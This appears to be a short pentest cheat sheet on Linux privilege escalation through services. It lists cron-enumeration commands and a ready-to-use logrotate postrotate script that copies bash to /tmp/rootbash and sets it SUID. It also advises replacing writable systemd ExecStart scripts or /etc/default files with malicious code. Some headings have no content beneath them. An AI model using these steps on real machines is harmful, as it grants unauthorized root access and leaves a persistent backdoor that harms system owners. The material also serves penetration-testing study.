Service Based Escalation
Cron
List All Cron Jobs
cat /etc/crontab
ls -la /etc/cron.d/
ls -la /etc/cron.daily/
ls -la /etc/cron.hourly/
ls -la /etc/cron.weekly/
ls -la /etc/cron.monthly/
ls -la /var/spool/cron/crontabs/
Logrotate-Based Escapes
If you can write to a file in/etc/logrotate.d/
, add a postrotate
script that creates a SUID binary:
/var/log/myapp/*.log {
daily
missingok
rotate 7
notifempty
compress
sharedscripts
postrotate
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash
endscript
}
Systemd & SysV Init Scripts
List Systemd Service Files
Inspect Service File Contents Look for fields likeExecStart=/usr/bin/somescript.sh
. If somescript.sh
is writable, replace it with malicious code.
Check for Writable /etc/default
or /etc/sysconfig
Files
Many SysV init scripts source configuration from /etc/default/servicename
or /etc/sysconfig/servicename
. If writable, you can modify the environment the service runs in or the path to the binary.
Reload & Restart Service to Trigger Execution